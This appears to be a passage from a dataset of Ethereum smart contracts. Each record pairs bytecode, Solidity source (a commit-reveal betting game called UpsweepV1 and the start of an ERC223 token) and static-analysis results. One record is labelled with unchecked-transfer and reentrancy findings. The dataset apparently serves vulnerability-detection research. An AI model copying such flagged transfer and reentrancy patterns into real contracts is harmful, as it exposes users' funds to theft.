01526000805160206117d2833981519152604482015290519081900360640190fd5b6001600160a01b038216610bde5760405162461bcd60e51b81526004018080602001828103825260338152602001806118196033913960400191505060405180910390fd5b6001546001600160a01b0383811691161415610c2b5760405162461bcd60e51b81526004018080602001828103825260218152602001806117b16021913960400191505060405180910390fd5b600154604080516001600160a01b039283168152918416602083015280517f60543db364af2d9523ff33ae887180c82577e5dfea3fd98e84f0479d109e104b9281900390910190a150600180546001600160a01b0383166001600160a01b0319909116178155919050565b3360009081526006602052604090205460ff16610cf5576040805162461bcd60e51b8152602060048201526018602482015277151a194818d85b1b195c88191bd95cdb89dd08195e1a5cdd60421b604482015290519081900360640190fd5b6002546001600160a01b0383166000908152600960205260408120549083610d23848463ffffffff61162c16565b1115610d2f5783610d3f565b610d3f838363ffffffff61162c16565b6001600160a01b0386166000908152600960205260409020549091505b6001600160a01b038616600090815260096020526040902054610d8690839063ffffffff61166316565b8110156110be5733600090815260056020526040812060028054610e0a9291849186908110610db157fe5b9060005260206000200160009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b031681526020019081526020016000206001015461071961271060046000600288815481106109de57fe5b9050801561109d5760028281548110610e1f57fe5b60009182526020808320909101546040805163a9059cbb60e01b81526001600160a01b038c81166004830152602482018790529151919092169363a9059cbb93604480850194919392918390030190829087803b158015610e7f57600080fd5b505af1158015610e93573d6000803e3d6000fd5b505050506040513d6020811015610ea957600080fd5b505060028054610ef991839160049160009187908110610ec557fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020600101549063ffffffff61162c16565b6004600060028581548110610f0a57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400181206001019190915560028054610f4e9261271092600492879081106109de57fe5b3360009081526005602052604081206002805491929186908110610f6e57fe5b60009182526020808320909101546001600160a01b031683528281019390935260409182018120600101939093553383526005909152812060028054610fee93859392909187908110610fbd57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549063ffffffff61166316565b336000908152600560205260408120600280549192918690811061100e57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600280547e84d967a4d94ce1589a28669dec23747b0c7c2f77426e1e0fde5889d19a46d191908490811061106357fe5b60009182526020918290200154604080516001600160a01b039283168152918b169282019290925280820184905290519081900360600190a15b600184019350848414156110b55760009350506110be565b50600101610d5c565b50506001600160a01b039093166000908152600960205260409020929092555050565b6000546001600160a01b03165b90565b6000546001600160a01b0316331490565b61110a6110f1565b611149576040805162461bcd60e51b815260206004820181905260248201526000805160206117d2833981519152604482015290519081900360640190fd5b60035460025460085460009084611166848363ffffffff61162c16565b11156111725784611186565b60085461118690849063ffffffff61162c16565b6008549092505b6008546111a190849063ffffffff61166316565b81101561141a57600061127b60046000600285815481106111be57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190206001015460028054859081106111f457fe5b60009182526020918290200154604080516370a0823160e01b815230600482015290516001600160a01b03909216926370a0823192602480840193829003018186803b15801561124357600080fd5b505afa158015611257573d6000803e3d6000fd5b505050506040513d602081101561126d57600080fd5b50519063ffffffff61162c16565b905080156113f9576112cc81600460006002868154811061129857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020600101549063ffffffff61166316565b60046000600285815481106112dd57fe5b60009182526020808320909101546001600160a01b031683528201929092526040018120600101919091556002805461131f92849260049287908110610fbd57fe5b600460006002858154811061133057fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020556113bf61137a8761136e8461271063ffffffff61167c16565b9063ffffffff61164116565b600460006002868154811061138b57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020600201549063ffffffff61166316565b60046000600285815481106113d057fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020600201555b6001830192508483141561141157600092505061141a565b5060010161118d565b5060088190556040805183815290517f5bc0a1c63271be9ba73f7cb3d3140f102b02f1e825be27cfa84ca98096ca13d19181900360200190a15050505050565b6002818154811061087657fe5b6001546001600160a01b031633146114b05760405162461bcd60e51b815260040180806020018281038252602181526020018061184c6021913960400191505060405180910390fd5b600280546001810182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b0392909216919091179055565b60076020526000908152604090205481565b60046020526000908152604090208054600182015460029092015490919083565b6001546001600160a01b031681565b60025490565b6115526110f1565b611591576040805162461bcd60e51b815260206004820181905260248201526000805160206117d2833981519152604482015290519081900360640190fd5b61159a816116a3565b50565b6001600160a01b0380821660008181526004602090815260408083209487168352600582528083209383529290529081206001810154600284015492939284916115f3916107199061271063ffffffff61164116565b6001600160a01b03871660009081526006602052604090205490915060ff166116225760009350505050610b4a565b9250610b4a915050565b60008282111561163b57600080fd5b50900390565b600080821161164f57600080fd5b600082848161165a57fe5b04949350505050565b60008282018381101561167557600080fd5b9392505050565b60008261168b57506000610b4a565b8282028284828161169857fe5b041461167557600080fd5b6001600160a01b0381166116e85760405162461bcd60e51b815260040180806020018281038252602681526020018061178b6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b8154818355818111156117675760008381526020902061176791810190830161176c565b505050565b6110ee91905b808211156117865760008155600101611772565b509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735265706561746564205f666163746f7279436f6e747261637420616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572496e766573746f7220616464726573732063616e6e6f74206265207a65726f2061646472657373546865205f666163746f7279436f6e747261637420616464726573732063616e6e6f74206265207a65726f206164647265737343616c6c6572206973206e6f742074686520666163746f7279436f6e7472616374a265627a7a72315820eac479e01ff4094febeb72832634afd1a0311258274166e69581a57bbc28a24164736f6c634300050c0032 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,943 |
0xa90249101da7cdf0bc01795b9609c37719075275 | pragma solidity ^0.5.2;
/*
*
* WELCOME TO THE SUSTAINABLE UPSWEEP NETWORK
*
* upsweep.net
*
* Gambling with low gas fees, no edge and no leaks.
*
*
* _19^^^^0^^^^1_
* .18'' ``2.
* .17'
* .16' Here's to the `3.
* .15' unfolding `4.
* :: of hope. ::
* :: ................... ::
* :: ::
* `14. @author .5'
* `13. symmetricproof .6'
* `12. .7'
* `11.. ..8'
* ^10........9^
* ''''
*
*
/* @title The Upsweep Network; a social and sustainable circle of bets.
*/
contract UpsweepV1 {
uint public elapsed;
uint public timeout;
uint public lastId;
uint public counter;
bool public closed;
struct Player {
bool revealOnce;
bool claimed;
bool gotHonour;
uint8 i;
bytes32 commit;
}
mapping(uint => mapping (address => Player)) public player;
mapping(uint => uint8[20]) public balancesById;
mapping(uint => uint8[20]) public bottleneckById;
address payable public owner = msg.sender;
uint public ticketPrice = 100000000000000000;
mapping(uint => uint) public honour;
event FirstBlock(uint);
event LastBlock(uint);
event Join(uint);
event Reveal(uint seat, uint indexed gameId);
event NewId(uint);
modifier onlyBy(address _account)
{
require(
msg.sender == _account,
"Sender not authorized."
);
_;
}
modifier circleIsPrivate(bool _closed) {
require(
_closed == true,
"Game is in progress."
);
_;
}
modifier circleIsPublic(bool _closed) {
require(
_closed == false,
"Next game has not started."
);
_;
}
modifier onlyAfter(uint _time) {
require(
block.number > _time,
"Function called too early."
);
_;
}
modifier onlyBefore(uint _time) {
require(
block.number <= _time,
"Function called too late."
);
_;
}
modifier ticketIsAffordable(uint _amount) {
require(
msg.value >= _amount,
"Not enough Ether provided."
);
_;
if (msg.value > _amount)
msg.sender.transfer(msg.value - _amount);
}
/**
* @dev pick a number and cast the hash to the network.
* @param _hash is the keccak256 output for the address of the message sender+
* the number + a passphrase
*/
function join(bytes32 _hash)
public
payable
circleIsPublic(closed)
ticketIsAffordable(ticketPrice)
returns (uint gameId)
{
//the circle is only open to 40 players.
require(
counter < 40,
"Game is full."
);
//timer starts when the first ticket of the game is sold
if (counter == 0) {
elapsed = block.number;
emit FirstBlock(block.number);
}
player[lastId][msg.sender].commit = _hash;
//when the game is full, timer stops and the countdown to reveal begins
//NO MORE COMMITS ARE RECEIVED.
if (counter == 39) {
closed = true;
uint temp = sub(block.number,elapsed);
timeout = add(temp,block.number);
emit LastBlock(timeout);
}
counter++;
emit Join(counter);
return lastId;
}
/**
* @notice get a refund and exit the game before it begins
*/
function abandon()
public
circleIsPublic(closed)
returns (bool success)
{
bytes32 commit = player[lastId][msg.sender].commit;
require(
commit != 0,
"Player was not in the game."
);
player[lastId][msg.sender].commit = 0;
counter --;
if (counter == 0) {
elapsed = 0;
emit FirstBlock(0);
}
emit Join(counter);
msg.sender.transfer(ticketPrice);
return true;
}
/**
* @notice to make your bet legal, you must reveal the corresponding number
* @dev a new hash is computed to verify authenticity of the bet
* @param i is the number (between 0 and 19)
* @param passphrase to prevent brute-force validation
*/
function reveal(
uint8 i,
string memory passphrase
)
public
circleIsPrivate(closed)
onlyBefore(timeout)
returns (bool success)
{
bool status = player[lastId][msg.sender].revealOnce;
require(
status == false,
"Player already revealed."
);
bytes32 commit = player[lastId][msg.sender].commit;
//hash is recalculated to verify authenticity
bytes32 hash = keccak256(
abi.encodePacked(msg.sender,i,passphrase)
);
require(
hash == commit,
"Hashes don't match."
);
player[lastId][msg.sender].revealOnce = true;
player[lastId][msg.sender].i = i;
//contribution is credited to the chosen number
balancesById[lastId][i] ++;
//the list of players inside this numbers grows by one
bottleneckById[lastId][i] ++;
counter--;
//last player to reveal must pay extra gas fees to update the game
if (counter == 0) {
timeout = 0;
updateBalances();
}
emit Reveal(i,lastId);
return true;
}
/**
* @notice distributes rewards fairly.
* @dev the circle has no head or foot, node 19 passes to node 0 only if node 0 is not empty.
* To successfully distribute contributions, the function loops through all numbers and
* identifies the first empty number, from there the chain of transfers begins.
*
*/
function updateBalances()
public
circleIsPrivate(closed)
onlyAfter(timeout)
returns (bool success)
{
// identify the first empty number.
for (uint8 i = 0; i < 20; i++) {
if (balancesById[lastId][i] == 0) {
// start chain of transfers from the next number.
uint j = i + 1;
for (uint8 a = 0; a < 19; a++) {
if (j == 20) j = 0;
if (j == 19) {
if (balancesById[lastId][0] > 0) {
uint8 temp = balancesById[lastId][19];
balancesById[lastId][19] = 0;
balancesById[lastId][0] += temp;
j = 0;
} else {
j = 1;
}
} else {
if (balancesById[lastId][j + 1] > 0) {
uint8 temp = balancesById[lastId][j];
balancesById[lastId][j] = 0;
balancesById[lastId][j + 1] += temp;
j += 1;
} else {
j += 2;
}
}
}
// will break when all balances are updated.
break;
}
}
// reset variables and start a new game.
closed = false;
if (timeout > 0) timeout = 0;
elapsed = 0;
// players that reveal are rewarded the ticket value of those
// that don't reveal.
if (counter > 0) {
uint total = mul(counter, ticketPrice);
uint among = sub(40,counter);
honour[lastId] = div(total,among);
counter = 0;
}
lastId ++;
emit NewId(lastId);
return true;
}
/**
* @notice accumulated rewards are already allocated in specific numbers, if players can
* prove they picked that "lucky" number, they are allowed to withdraw the accumulated
* ether.
*
* If there is more than one player in a given number, the reward is split equally.
*
* @param gameId only attempt to withdraw rewards from a valid game, otherwise the transaction
* will fail.
*/
function withdraw(uint gameId)
public
returns (bool success)
{
bool status = player[gameId][msg.sender].revealOnce;
require(
status == true,
"Player has not revealed."
);
bool claim = player[gameId][msg.sender].claimed;
require(
claim == false,
"Player already claimed."
);
uint8 index = player[gameId][msg.sender].i;
require(
balancesById[gameId][index] > 0,
"Player didn't won."
);
player[gameId][msg.sender].claimed = true;
uint temp = uint(balancesById[gameId][index]);
uint among = uint(bottleneckById[gameId][index]);
uint total = mul(temp, ticketPrice);
uint payout = div(total, among);
msg.sender.transfer(payout);
return true;
}
function microTip()
public
payable
returns (bool success)
{
owner.transfer(msg.value);
return true;
}
function changeOwner(address payable _newOwner)
public
onlyBy(owner)
returns (bool success)
{
owner = _newOwner;
return true;
}
function getHonour(uint _gameId)
public
returns (bool success)
{
bool status = player[_gameId][msg.sender].gotHonour;
require(
status == false,
"Player already claimed honour."
);
bool revealed = player[_gameId][msg.sender].revealOnce;
require(
revealed == true,
"Player has not revealed."
);
player[_gameId][msg.sender].gotHonour = true;
msg.sender.transfer(honour[_gameId]);
return true;
}
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
} | 0x608060405260043610610131576000357c010000000000000000000000000000000000000000000000000000000090048063786d8945116100bd578063c1292cc311610081578063c1292cc314610488578063ca3ed9e8146104b3578063d81a63eb146105a0578063d9cfd558146105ff578063f2fb17741461065e57610131565b8063786d89451461030857806388318834146103575780638da5cb5b14610386578063a6f9dae1146103dd578063ad677d0b1461044657610131565b806337516ead1161010457806337516ead14610232578063597e1fb51461025457806361bc221a146102835780636f3fe404146102ae57806370dea79a146102dd57610131565b80631209b1f6146101365780631ff96c74146101615780632e1a7d4d146101b45780632f29d8c514610207575b600080fd5b34801561014257600080fd5b5061014b6106fb565b6040518082815260200191505060405180910390f35b34801561016d57600080fd5b5061019a6004803603602081101561018457600080fd5b8101908080359060200190929190505050610701565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101ed600480360360208110156101d757600080fd5b8101908080359060200190929190505050610995565b604051808215151515815260200191505060405180910390f35b34801561021357600080fd5b5061021c610dd1565b6040518082815260200191505060405180910390f35b61023a610dd7565b604051808215151515815260200191505060405180910390f35b34801561026057600080fd5b50610269610e49565b604051808215151515815260200191505060405180910390f35b34801561028f57600080fd5b50610298610e5c565b6040518082815260200191505060405180910390f35b3480156102ba57600080fd5b506102c3610e62565b604051808215151515815260200191505060405180910390f35b3480156102e957600080fd5b506102f2611360565b6040518082815260200191505060405180910390f35b34801561031457600080fd5b506103416004803603602081101561032b57600080fd5b8101908080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c61137e565b604051808215151515815260200191505060405180910390f35b34801561039257600080fd5b5061039b611629565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b5061042c6004803603602081101561040057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061164f565b604051808215151515815260200191505060405180910390f35b6104726004803603602081101561045c57600080fd5b8101908080359060200190929190505050611762565b6040518082815260200191505060405180910390f35b34801561049457600080fd5b5061049d611ab3565b6040518082815260200191505060405180910390f35b3480156104bf57600080fd5b50610586600480360360408110156104d657600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561050057600080fd5b82018360208201111561051257600080fd5b8035906020019184600183028401116401000000008311171561053457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611ab9565b604051808215151515815260200191505060405180910390f35b3480156105ac57600080fd5b506105e3600480360360408110156105c357600080fd5b810190808035906020019092919080359060200190929190505050612073565b604051808260ff1660ff16815260200191505060405180910390f35b34801561060b57600080fd5b506106426004803603604081101561062257600080fd5b8101908080359060200190929190803590602001909291905050506120ab565b604051808260ff1660ff16815260200191505060405180910390f35b34801561066a57600080fd5b506106b76004803603604081101561068157600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120e3565b604051808615151515815260200185151515158152602001841515151581526020018360ff1660ff1681526020018281526020019550505050505060405180910390f35b60095481565b6000806005600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160029054906101000a900460ff169050600015158115151415156107e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f506c6179657220616c726561647920636c61696d656420686f6e6f75722e000081525060200191505060405180910390fd5b60006005600085815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff169050600115158115151415156108c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f506c6179657220686173206e6f742072657665616c65642e000000000000000081525060200191505060405180910390fd5b60016005600086815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160026101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff166108fc600a6000878152602001908152602001600020549081150290604051600060405180830381858888f19350505050158015610989573d6000803e3d6000fd5b50600192505050919050565b6000806005600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16905060011515811515141515610a77576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f506c6179657220686173206e6f742072657665616c65642e000000000000000081525060200191505060405180910390fd5b60006005600085815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff16905060001515811515141515610b58576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f506c6179657220616c726561647920636c61696d65642e00000000000000000081525060200191505060405180910390fd5b60006005600086815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160039054906101000a900460ff1690506000600660008781526020019081526020016000208260ff16601481101515610be257fe5b602091828204019190069054906101000a900460ff1660ff16111515610c70576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f506c61796572206469646e277420776f6e2e000000000000000000000000000081525060200191505060405180910390fd5b60016005600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160016101000a81548160ff0219169083151502179055506000600660008781526020019081526020016000208260ff16601481101515610d0157fe5b602091828204019190069054906101000a900460ff1660ff1690506000600760008881526020019081526020016000208360ff16601481101515610d4157fe5b602091828204019190069054906101000a900460ff1660ff1690506000610d6a8360095461215a565b90506000610d788284612198565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610dc0573d6000803e3d6000fd5b506001975050505050505050919050565b60005481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610e41573d6000803e3d6000fd5b506001905090565b600460009054906101000a900460ff1681565b60035481565b6000600460009054906101000a900460ff1660011515811515141515610ef0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f47616d6520697320696e2070726f67726573732e00000000000000000000000081525060200191505060405180910390fd5b6001548043111515610f6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f46756e6374696f6e2063616c6c656420746f6f206561726c792e00000000000081525060200191505060405180910390fd5b60008090505b60148160ff1610156112795760006006600060025481526020019081526020016000208260ff16601481101515610fa357fe5b602091828204019190069054906101000a900460ff1660ff16141561126c5760006001820160ff16905060008090505b60138160ff161015611265576014821415610fed57600091505b6013821415611126576000600660006002548152602001908152602001600020600060148110151561101b57fe5b602091828204019190069054906101000a900460ff1660ff16111561111c576000600660006002548152602001908152602001600020601360148110151561105f57fe5b602091828204019190069054906101000a900460ff1690506000600660006002548152602001908152602001600020601360148110151561109c57fe5b602091828204019190066101000a81548160ff021916908360ff1602179055508060066000600254815260200190815260200160002060006014811015156110e057fe5b602091828204019190068282829054906101000a900460ff160192506101000a81548160ff021916908360ff1602179055506000925050611121565b600191505b611258565b60006006600060025481526020019081526020016000206001840160148110151561114d57fe5b602091828204019190069054906101000a900460ff1660ff1611156112505760006006600060025481526020019081526020016000208360148110151561119057fe5b602091828204019190069054906101000a900460ff1690506000600660006002548152602001908152602001600020846014811015156111cc57fe5b602091828204019190066101000a81548160ff021916908360ff160217905550806006600060025481526020019081526020016000206001850160148110151561121257fe5b602091828204019190068282829054906101000a900460ff160192506101000a81548160ff021916908360ff16021790555060018301925050611257565b6002820191505b5b8080600101915050610fd3565b5050611279565b8080600101915050610f70565b506000600460006101000a81548160ff021916908315150217905550600060015411156112a95760006001819055505b600080819055506000600354111561130c5760006112cb60035460095461215a565b905060006112dc60286003546121c2565b90506112e88282612198565b600a6000600254815260200190815260200160002081905550600060038190555050505b6002600081548092919060010191905055507f7df273aabd0c2fdf9b56091e8da922313a50aefbc3d3793e28df976eb8595ceb6002546040518082815260200191505060405180910390a160019250505090565b60015481565b600a6020528060005260406000206000915090505481565b6000600460009054906101000a900460ff166000151581151514151561140c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4e6578742067616d6520686173206e6f7420737461727465642e00000000000081525060200191505060405180910390fd5b600060056000600254815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050600060010281141515156114e2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f506c6179657220776173206e6f7420696e207468652067616d652e000000000081525060200191505060405180910390fd5b600060010260056000600254815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600360008154809291906001900391905055506000600354141561159e57600080819055507f8745a53f91b57a7f9c085719e1f336d1cf50dc89b315137de02a041f2533f16060006040518082815260200191505060405180910390a15b7f858d2e17a8121c939a8c52f6821c748d2592cc8ecd8e6afcda3fc4c84248002f6003546040518082815260200191505060405180910390a13373ffffffffffffffffffffffffffffffffffffffff166108fc6009549081150290604051600060405180830381858888f1935050505015801561161f573d6000803e3d6000fd5b5060019250505090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611717576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f53656e646572206e6f7420617574686f72697a65642e0000000000000000000081525060200191505060405180910390fd5b82600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001915050919050565b6000600460009054906101000a900460ff16600015158115151415156117f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4e6578742067616d6520686173206e6f7420737461727465642e00000000000081525060200191505060405180910390fd5b60095480341015151561186b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4e6f7420656e6f7567682045746865722070726f76696465642e00000000000081525060200191505060405180910390fd5b60286003541015156118e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f47616d652069732066756c6c2e0000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600354141561192f57436000819055507f8745a53f91b57a7f9c085719e1f336d1cf50dc89b315137de02a041f2533f160436040518082815260200191505060405180910390a15b8360056000600254815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555060276003541415611a0a576001600460006101000a81548160ff02191690831515021790555060006119bd436000546121c2565b90506119c981436121e4565b6001819055507f7665a62338ae6744993183c91a7f4954cd546948f5f7dfadd8533690bbe5afb16001546040518082815260200191505060405180910390a1505b6003600081548092919060010191905055507f858d2e17a8121c939a8c52f6821c748d2592cc8ecd8e6afcda3fc4c84248002f6003546040518082815260200191505060405180910390a1600254925080341115611aac573373ffffffffffffffffffffffffffffffffffffffff166108fc8234039081150290604051600060405180830381858888f19350505050158015611aaa573d6000803e3d6000fd5b505b5050919050565b60025481565b6000600460009054906101000a900460ff1660011515811515141515611b47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f47616d6520697320696e2070726f67726573732e00000000000000000000000081525060200191505060405180910390fd5b600154804311151515611bc2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f46756e6374696f6e2063616c6c656420746f6f206c6174652e0000000000000081525060200191505060405180910390fd5b600060056000600254815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16905060001515811515141515611ca5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f506c6179657220616c72656164792072657665616c65642e000000000000000081525060200191505060405180910390fd5b600060056000600254815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015490506000338888604051602001808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018360ff1660ff167f010000000000000000000000000000000000000000000000000000000000000002815260010182805190602001908083835b602083101515611dab5780518252602082019150602081019050602083039250611d86565b6001836020036101000a03801982511681845116808217855250505050505090500193505050506040516020818303038152906040528051906020012090508181141515611e61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f48617368657320646f6e2774206d617463682e0000000000000000000000000081525060200191505060405180910390fd5b600160056000600254815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083151502179055508760056000600254815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160036101000a81548160ff021916908360ff1602179055506006600060025481526020019081526020016000208860ff16601481101515611f6257fe5b6020918282040191900681819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff160217905550506007600060025481526020019081526020016000208860ff16601481101515611fbf57fe5b6020918282040191900681819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff160217905550506003600081548092919060019003919050555060006003541415612027576000600181905550612025610e62565b505b6002547fc172d6f677c5cb603b93b418c5bbd19afeb3dc6d48a2c4b658254bdae7203b5489604051808260ff16815260200191505060405180910390a260019550505050505092915050565b60066020528160005260406000208160148110151561208e57fe5b60209182820401919006915091509054906101000a900460ff1681565b6007602052816000526040600020816014811015156120c657fe5b60209182820401919006915091509054906101000a900460ff1681565b6005602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900460ff16908060000160039054906101000a900460ff16908060010154905085565b60008083141561216d5760009050612192565b6000828402905082848281151561218057fe5b0414151561218d57600080fd5b809150505b92915050565b600080821115156121a857600080fd5b600082848115156121b557fe5b0490508091505092915050565b60008282111515156121d357600080fd5b600082840390508091505092915050565b60008082840190508381101515156121fb57600080fd5b809150509291505056fea165627a7a723058203f1d8290bd6aa63af5cf0edcd1e0464da200dd819fb2322f4247b78fe303a1bf0029 | {"success": true, "error": null, "results": {}} | 9,944 |
0xa21b576077ff359138af63955696b93ea06914df | /**
* Source Code first verified at https://etherscan.io on Monday, April 29, 2019
(UTC) */
pragma solidity ^0.4.24;
contract ERC223Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Contract that will work with ERC223 tokens.
*/
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public;
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
